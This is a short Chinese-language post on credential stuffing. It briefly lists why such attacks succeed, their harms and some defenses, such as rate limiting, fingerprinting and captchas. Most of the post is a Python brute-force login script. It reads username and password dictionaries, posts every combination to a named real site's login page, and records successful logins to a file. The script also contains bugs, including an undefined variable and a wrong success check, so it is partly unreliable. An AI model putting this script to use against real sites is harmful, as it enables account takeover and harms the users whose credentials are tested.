Python 撞庫
寫在前面: 淺談撞庫防禦策略
1. 撞庫成功的原因是什麼呢?
1.廣大網絡用戶爲了方便記憶,所有網站都使用同一套用戶名和密碼。
2.網站登錄的安全措施不夠。
2 撞庫的危害是什麼呢?
就企業而言保護用戶的信息安全是基本責任之一,泄露用戶信息會缺失公信力,損毀
公司品牌形象。
就個人而言小則騷擾電話天天有,大則個人財產不翼而飛。
3 撞庫這麼大的危害,作爲企業和網站主應該如何防止撞庫攻擊呢?
通過上面的例子我們可以發現,阻止撞庫登錄就是要讓黑客不能夠使用腳本程序進行批
量登錄。常用的方法有以下幾種:
*①限制同一個IP的請求次數和請求頻率*
這是一種方法,但是由於IP代理的存在,作用也不是特別大。
*②使用cookie,flash cookie以及帆布指紋等方法*
目前也是有許多網站在使用這種策略,有一定的作用,但是也是可以被清除掉的。
③*添加驗證碼*
批量模擬登陸
import requests as req
import time
import re
#獲取文件
def getdic(file):
dic = open(file).read()
diclist = dic.split("\n")
return diclist
def writeFile(filename,text):
fo = open(filename, "a+")
fo.write(text+"\n");
# 關閉打開的文件
fo.close()
#撞庫實際程序
def zhuangku(name,pwd):
# {username} 替換{}中的內容爲用戶名
newpwd = re.sub(r'{\w+}', name, pwd)
url='http://www.nancheng.ccoo.cn/login/login.asp'
data={
'username' : name,
'password' : newpwd,
'k':'Sun Jul 17 2016 11:59:23 GMT+0800 (中國標準時間)40000'
}
headers = {}
reqe = req.Session()
s=reqe.post(url,data=data,headers=headers)
return s.text
userlist = getdic('dict/names_top500.txt')
passlist = getdic('dict/password.txt')
lenmax_i=len(userlist)
lenmax_j = len(passlist)
for i in range(0,lenmax_i):
for j in range(0,lenmax_j):
name = userlist[i]
passwd = passlist[j]
res = zhuangku(name,pwd)
if j == 10:
break
else:
if res == 1:
print(name+passwd+"succsess")
writeFile('/tmp/zhuangku.txt',name+passwd +'success')
break
else:
print (name+passwd+res)
#continue
time.sleep(0.5)
print ("success")